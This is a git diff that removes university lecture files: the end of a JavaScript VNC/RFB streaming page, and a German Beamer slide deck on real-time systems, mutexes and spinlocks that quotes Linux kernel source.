-      function rfbReceivePointerEvent (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: PointerEvent");
-        return 6;
-      }
-
-      function rfbReceiveCutText (buffer, offset)
-      {
-        if (debugging)
-          console.log ("received: ClientCutText");
-        const b = new Uint8Array (buffer);
-        const length = b[offset + 4] << 24 + b[offset + 5] << 16 + b[offset + 6] << 8 + b[offset + 7];
-        return 8 + length;
-      }
-
-      function rfbServer (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        const b = new Uint8Array (event.data);
-        let offset = 0;
-        while (offset < event.data.byteLength)
-          {
-            if (debugging)
-              console.log ("received RFB packet type " + b[offset].toString ());
-            if (b[offset] == 0)
-              offset += rfbReceivePixelFormat (event.data, offset);
-            else if (b[offset] == 2)
-              offset += rfbReceiveEncodings (event.data, offset);
-            else if (b[offset] == 3)
-              offset += rfbFramebufferUpdateRequest (event.data, offset);
-            else if (b[offset] == 4)
-              offset += rfbReceiveKeyEvent (event.data, offset);
-            else if (b[offset] == 5)
-              offset += rfbReceivePointerEvent (event.data, offset);
-            else if (b[offset] == 6)
-              offset += rfbReceiveCutText (event.data, offset);
-            else
-              {
-                if (debugging)
-                  console.log ("unknown RFB packet");
-                offset = event.data.byteLength;
-              }
-          }
-      }
-
-      function rfbFramebufferHandshake (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        socket.removeEventListener ("message", rfbFramebufferHandshake);
-        socket.addEventListener ("message", rfbServer);
-        const buffer = new ArrayBuffer (24 + rfb_name_length);
-        const b = new Uint8Array (buffer);
-        b[0] = wScreen >>> 8;
-        b[1] = wScreen & 0xff;
-        b[2] = hScreen >>> 8;
-        b[3] = hScreen & 0xff;
-        b[4] = rfb_bits_per_pixel;
-        b[5] = rfb_depth;
-        b[6] = rfb_big_endian_flag;
-        b[7] = rfb_true_color_flag;
-        b[8] = rfb_red_maximum >>> 8;
-        b[9] = rfb_red_maximum & 0xff;
-        b[10] = rfb_green_maximum >>> 8;
-        b[11] = rfb_green_maximum & 0xff;
-        b[12] = rfb_blue_maximum >>> 8;
-        b[13] = rfb_blue_maximum & 0xff;
-        b[14] = rfb_red_shift;
-        b[15] = rfb_green_shift;
-        b[16] = rfb_blue_shift;
-        b[17] = rfb_padding;
-        b[18] = rfb_padding;
-        b[19] = rfb_padding;
-        b[20] = rfb_name_length >>> 24;
-        b[21] = rfb_name_length >>> 16;
-        b[22] = rfb_name_length >>> 8;
-        b[23] = rfb_name_length & 0xff;
-        for (let i = 0; i < rfb_name_length; i++)
-          b[24 + i] = rfb_name[i];
-        if (debugging)
-          console.log ("sending framebuffer parameters: " + buf2hex (buffer));
-        socket.send (buffer);
-      }
-
-      function rfbAuthenticate (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        socket.removeEventListener ("message", rfbAuthenticate);
-        socket.addEventListener ("message", rfbFramebufferHandshake);
-        if (debugging)
-          console.log ("sending: 00 00 00 00");
-        const buffer = new ArrayBuffer (4);
-        const b = new Uint8Array (buffer);
-        b[0] = 0;
-        b[1] = 0;
-        b[2] = 0;
-        b[3] = 0;
-        socket.send (buffer);
-      }
-
-      function rfbSecurityHandshake (event)
-      {
-        if (debugging)
-          console.log ("received: " + buf2hex (event.data));
-        socket.removeEventListener ("message", rfbSecurityHandshake);
-        socket.addEventListener ("message", rfbAuthenticate);
-        if (debugging)
-          console.log ("sending: 01 01");
-        const buffer = new ArrayBuffer (2);
-        const b = new Uint8Array (buffer);
-        b[0] = 1;
-        b[1] = 1;
-        socket.send (buffer);
-      }
-
-      function rfbConnect (event)
-      {
-        socket.addEventListener ("message", rfbSecurityHandshake);
-        if (debugging)
-          console.log ("sending: RFB 003.008\\n");
-        socket.send ("RFB 003.008\n");
-      }
-
-      document.addEventListener ("DOMContentLoaded",
-        function ()
-        {
-          video.addEventListener ("play",
-            function ()
-            {
-              wScreen = video.videoWidth;
-              hScreen = video.videoHeight;
-              canvas1.width = wScreen;
-              canvas1.height = hScreen;
-              ctx1 = canvas1.getContext ("2d");
-              canvas0.width = wScreen;
-              canvas0.height = hScreen;
-              ctx0 = canvas0.getContext ("2d");
-              ctx0.beginPath ();
-              ctx0.rect (0, 0, wScreen, hScreen);
-              ctx0.fillStyle = "black";
-              ctx0.fill ();
-              if (debugging)
-                console.log ("Opening WebSocket ...");
-              socket = new WebSocket ("wss://streaming.cvh-server.de/websock/wc-6/", ['binary', 'base64']);
-              socket.binaryType = "arraybuffer";
-              socket.addEventListener ("open", rfbConnect);
-            },
-            false);
-          video.addEventListener ("abort", rfbAbort, false);
-          video.addEventListener ("emptied", rfbAbort, false);
-          video.addEventListener ("ended", rfbAbort, false);
-          video.addEventListener ("error", rfbAbort, false);
-          video.addEventListener ("pause", rfbAbort, false);
-          video.addEventListener ("stalled", rfbAbort, false);
-//          video.addEventListener ("suspend", rfbAbort, false);
-        });
-
-    </script>
-  </body>
-</html>
diff --git a/20210625/bs-20210625.pdf b/20210625/bs-20210625.pdf
deleted file mode 100644
index 0fe477fbd343c6ae3c99907c00f3f875ae734299..0000000000000000000000000000000000000000
Binary files a/20210625/bs-20210625.pdf and /dev/null differ
diff --git a/20210625/bs-20210625.tex b/20210625/bs-20210625.tex
deleted file mode 100644
index 16870ce4950e9d5bf3dcb55b115e7daaccb80ffc..0000000000000000000000000000000000000000
--- a/20210625/bs-20210625.tex
+++ /dev/null
@@ -1,1498 +0,0 @@
-% bs-20110625.pdf - Lecture Slides on Operating Systems
-% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{eurosym}
-\usepackage{tikz}
-
-\begin{psinputs}
-  \usepackage[latin1]{inputenc}
-  \usepackage[german]{babel}
-  \usepackage[T1]{fontenc}
-  \usepackage{helvet}
-  \renewcommand*\familydefault{\sfdefault}
-  \usepackage{pstricks}
-  \psset{unit=1cm}
-\end{psinputs}
-
-\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{25.\ Juni 2021}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\setcounter{section}{3}
-\section{Echtzeit}
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-
-  \showsection
-  \vspace{-\smallskipamount}
-  \showsubsection
-
-  \begin{itemize}
-    \item
-      Animation in Echtzeit:\\
-      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
-    \item
-      Fantasy-Rollenspiel in Echtzeit:\\
-      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
-    \item
-      Datenverarbeitung in Echtzeit:\\
-      Die Daten werden so schnell verarbeitet, wie sie anfallen.
-    \item
-      speziell: Echtzeit-Steuerung von Maschinen:\\
-      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
-    \smallskip
-    \arrowitem
-      "`Schnell genug."'
-  \end{itemize}
-  
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  "`Schnell genug."' -- "`Und wenn nicht?"'
-
-  \begin{itemize}
-    \item
-      "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt]
-    rechtzeitiges Ergebnis funktionsentscheidend
-
-    \smallskip
-
-    \item
-      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt]
-      verspätetes Ergebnis qualitätsmindernd
-      \begin{itemize}
-        \baselineskip14pt\par
-        \item
-          verwenden und Verzögerung in Kauf nehmen
-        \item
-          verwerfen und Ausfall in Kauf nehmen
-      \end{itemize}
-
-    \smallskip
-
-    \item
-      "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt]
-      \textarrow\ \newterm{keine Echtzeit}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-%    \begin{picture}(6,2)
-%      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-%      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%      \put(2.75,0.875){\vector(1,3){0.25}}
-%      \put(2.75,0.875){\line(2,1){0.5}}
-%      \put(3.25,1.125){\vector(-1,-3){0.25}}
-%    \end{picture}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  Beispiel:
-  \begin{itemize}
-    \item
-      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
-      dessen Berechnung maximal \SI{10}{\mics} dauert.
-    \item
-      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
-      \textarrow\ Risiko der Zeitüberschreitung
-    \item
-      Oder: Der Steuer-Computer macht nichts anderes.\\
-      \textarrow\ Verschwendung von Rechenzeit\\
-      {\color{red}\textarrow\ Na und?}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  \medskip
-
-  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
-  \medskip
-
-  Große Stückzahlen
-  \begin{itemize}
-    \item
-      138\,000 Toyota Prius V von Mai 2011 bis April 2012
-  \end{itemize}
-
-  \medskip
-
-  Wertvolle Ressourcen
-  \begin{itemize}
-    \item
-      Fähigkeiten einer Raumsonde optimieren
-      % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
-      % 70000000 / 550000 = 127._27
-      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
-      % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}}
-    \item
-      Implantat: Platz- und Stromverbrauch minimieren
-      % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
-  \end{itemize}
-
-  \bigskip
-
-  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
-  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{6cm}
-    Qualitätssicherung beim Multitasking
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
-        vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{Mutexe}
-        (= spezielle \newterm{Semaphore\/})\\
-        \strut
-      \item
-        Verschiedene Methoden\\
-        der Priorisierung\\
-        \strut
-      \item
-        Umgehung der Probleme durch
-        speziell geschriebene Software\\
-        (MultiWii, RP6, \dots)
-    \end{itemize}
-  \end{minipage}
-  \hfill
-  \begin{minipage}[t]{6.2cm}
-    Qualitätssicherung für Netzwerke:
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
-      \item
-        Klassifizierung und Priorisierung:
-        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
-        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
-      \item
-        Eigenes Protokoll (Telefondienste):\\
-        \newterm{Asynchronous Transfer Mode (ATM)}
-    \end{itemize}
-  \end{minipage}
-
-\end{frame}
-
-% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-% evtl. Aufgabe: Warte-Problem
-
-% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-% das o.a. Zuteilungsproblem?
-
-% Danach: Semaphoren, Mutexe, Spinlocks
-% Priorisierungsmethoden und -probleme
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      verschiedene Tasks werden unterschiedlich häufig aufgerufen
-    \item
-      Nebenbei: 1 Benutzerprogramm
-  \end{itemize}
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
-      Task mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
-      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
-    \item<3->
-      \emph{keine\/} harte Echtzeit
-      % Aufgabe: Wo wird der Zähler heruntergezählt?
-  \end{itemize}
-
-\end{frame}
-
-\iffalse
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  \pause
-  Wikipedia:
-  \begin{quote}
-    Als Zombie wird die fiktive Figur eines zum Leben erweckten
-    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
-    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
-    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
-    dort ursprünglich einen Totengeist.
-  \end{quote}
-
-  \bigskip
-
-  \pause
-  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
-  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
-  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
-  wird aber noch in der Prozeßliste geführt ("`untot"').
-  \begin{itemize}
-    \pause
-    \item
-      Warum?
-      \textarrow\
-      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
-      Rückgabewert des beendeten Prozesses.
-    \pause
-    \item
-      Schadet das?
-      \textarrow\
-      Nein.
-    \pause
-    \item
-      Aber?
-      \textarrow\
-      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
-      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-    \pause
-    \item
-      Beispiel:
-      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
-      \textarrow\
-      Tochterprozesse werden zu Zombies.
-  \end{itemize}
-
-\end{frame}
-
-\fi
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-      \begin{onlyenv}<1>
-        \par\medskip
-        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
-        "`Eisenbahnsignal"'
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-      \begin{onlyenv}<2>
-        \par\medskip
-        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
-        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
-        % allgemein: auch jemand anderer dürfte freigeben
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-      \begin{onlyenv}<3>
-        \par\medskip
-        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
-        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
-        Hardware-Unterstützung:
-        Prüfen, ob Variable bestimmten Wert hat;\\
-        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-      \vspace*{-1cm}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren: Beispiele
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c}\\
-      \file{linux-3.7-rc1/drivers/usb/core/file.c}
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      \file{linux-3.7-rc1/kernel/mutex.c}\\
-      \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}
-    \medskip
-    \item
-      \newterm{Spinlock}\\
-      \file{linux-3.7-rc1/kernel/spinlock.c}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c},
-      \file{linux-3.7-rc1/kernel/mutex.c}
-  \end{itemize}
-
-  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-  % evtl. Aufgabe: Warte-Problem
-
-  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-  % das o.a. Zuteilungsproblem?
-
-  % Danach: Semaphoren, Mutexe, Spinlocks
-  % Priorisierungsmethoden und -probleme
-
-  % Festplatten: completely fair queueing
-  % cat /sys/block/sdc/queue/scheduler
-  % "noop" hat sich für SVG gelohnt
-
-  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \textbf{Beispiel:}
-  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    struct usb_serial *usb_serial_get_by_index (unsigned index)
-    {
-      struct usb_serial *serial;
-      mutex_lock (&table_lock);
-      serial = serial_table[index];
-      if (serial)
-        {
-          mutex_lock (&serial->disc_mutex);
-          if (serial->disconnected)
-            {
-              mutex_unlock (&serial->disc_mutex);
-              serial = NULL;
-            }
-          else
-            kref_get (&serial->kref);
-        }
-      mutex_unlock (&table_lock);
-      return serial;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(5.1,6.85){\vector(-1,0){0.5}}
-    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
-    \put(5.4,1.35){\vector(-1,0){0.5}}
-    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    void __sched mutex_lock (struct mutex *lock)
-    {
-      might_sleep ();
-      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
-      mutex_set_owner (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.6,1.35){\line(-1,0){1}}
-    \put(11.6,1.35){\line(0,-1){2.45}}
-    \put(11.6,-1.10){\vector(-1,0){2.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
-  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
-  \medskip
-
-  Assembler:
-  \begin{lstlisting}[language={[x86masm]Assembler}]
-        lock dec (lock->count)
-        jns 1
-        call __mutex_lock_slowpath
-    1:
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9,0.95){\line(-1,0){3.5}}
-    \put(9,0.95){\line(0,-1){2.5}}
-    \put(9.0,-1.55){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
-  \medskip
-
-  \begin{lstlisting}
-    static __used noinline void __sched
-      __mutex_lock_slowpath (atomic_t *lock_count)
-    {
-      struct mutex *lock = container_of (lock_count, struct mutex, count);
-      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
-                               NULL, _RET_IP_);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.0,1.40){\line(-1,0){1.0}}
-    \put(11.0,1.40){\vector(0,-1){2.5}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int __sched
-    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
-                             struct lockdep_map *nest_lock, unsigned long ip)
-    {
-      struct task_struct *task = current;
-      struct mutex_waiter waiter;
-      unsigned long flags;
-
-      preempt_disable ();
-      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
-      /* ... */
-
-      spin_lock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_lock_common (lock, &waiter);
-      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
-      /* add waiting tasks to the end of the waitqueue (FIFO): */
-      list_add_tail (&waiter.list, &lock->wait_list);
-      waiter.task = task;
-
-      if (atomic_xchg (&lock->count, -1) == 1)
-        goto done;
-
-      lock_contended (&lock->dep_map, ip);
-
-      for (;;)
-        {
-          /*
-           * Lets try to take the lock again - this is needed even if
-           * we get here for the first time (shortly after failing to
-           * acquire the lock), to make sure that we get a wakeup once
-           * it's unlocked. Later on, if we sleep, this is the
-           * operation that gives us the lock. We xchg it to -1, so
-           * that when we release the lock, we properly wake up the
-           * other waiters:
-           */
-          if (atomic_xchg (&lock->count, -1) == 1)
-            break;
-
-          /*
-           * got a signal? (This code gets eliminated in the
-           * TASK_UNINTERRUPTIBLE case.)
-           */
-          if (unlikely (signal_pending_state (state, task)))
-            {
-              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
-              mutex_release (&lock->dep_map, 1, ip);
-              spin_unlock_mutex (&lock->wait_lock, flags);
-
-              debug_mutex_free_waiter (&waiter);
-              preempt_enable ();
-              return -EINTR;
-            }
-          __set_task_state (task, state);
-
-          /* didn't get the lock, go to sleep: */
-          spin_unlock_mutex (&lock->wait_lock, flags);
-          schedule_preempt_disabled ();
-          spin_lock_mutex (&lock->wait_lock, flags);
-        }
-
-    done:
-      lock_acquired (&lock->dep_map, ip);
-      /* got the lock - rejoice! */
-      mutex_remove_waiter (lock, &waiter, current_thread_info ());
-      mutex_set_owner (lock);
-
-      /* set it to 0 if there are no waiters left: */
-      if (likely (list_empty (&lock->wait_list)))
-        atomic_set (&lock->count, 0);
-
-      spin_unlock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_free_waiter (&waiter);
-      preempt_enable ();
-
-      return 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(7.9,28.3){\vector(-1,0){0.5}}
-    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
-    \put(7.4,2.3){\vector(-1,1){0.4}}
-    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{50.5cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
-  \medskip
-
-  \begin{lstlisting}
-    #define spin_lock_mutex(lock, flags) \
-      do \
-        { \
-          spin_lock (lock); \
-          (void) (flags); \
-        } \
-      while (0)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(8.5,1.75){\line(-1,0){4.5}}
-    \put(8.5,1.75){\line(0,-1){2.9}}
-    \put(8.5,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline void spin_lock (spinlock_t *lock)
-    {
-      raw_spin_lock (&lock->rlock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.3,0.95){\line(-1,0){4.0}}
-    \put(9.3,0.95){\line(0,-1){2.1}}
-    \put(9.3,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
-  \medskip
-
-  \begin{lstlisting}
-    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.0,0.55){\line(-1,0){0.5}}
-    \put(10.0,0.55){\line(0,-1){1.7}}
-    \put(10.0,-1.15){\vector(-1,0){1.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
-  \medskip
-
-  \begin{lstlisting}
-    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,0.55){\line(-1,0){0.5}}
-    \put(10.7,0.55){\line(0,-1){1.75}}
-    \put(10.7,-1.2){\vector(-1,0){2.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
-  \medskip
-
-  \begin{lstlisting}
-    void __lockfunc __raw_spin_lock (spinlock_t *lock)
-    {
-      for (;;)
-        {
-          preempt_disable ();
-          if (likely (do_raw_spin_trylock (lock)))
-            break;
-          preempt_enable ();
-
-          if (!(lock)->break_lock)
-            (lock)->break_lock = 1;
-          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
-            arch_spin_relax (&lock->raw_lock);
-        }
-      (lock)->break_lock = 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,4.75){\line(-1,0){3.5}}
-    \put(10.7,4.75){\line(0,-1){5.95}}
-    \put(10.7,-1.2){\vector(-1,0){1.1}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
-    {
-      return arch_spin_trylock (&(lock)->raw_lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.5,0.95){\line(-1,0){3.5}}
-    \put(11.5,0.95){\line(0,-1){2.1}}
-    \put(11.5,-1.15){\vector(-1,0){0.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
-    {
-      return __ticket_spin_trylock (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.5,0.95){\line(-1,0){3.5}}
-    \put(9.5,0.95){\vector(0,-1){1.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
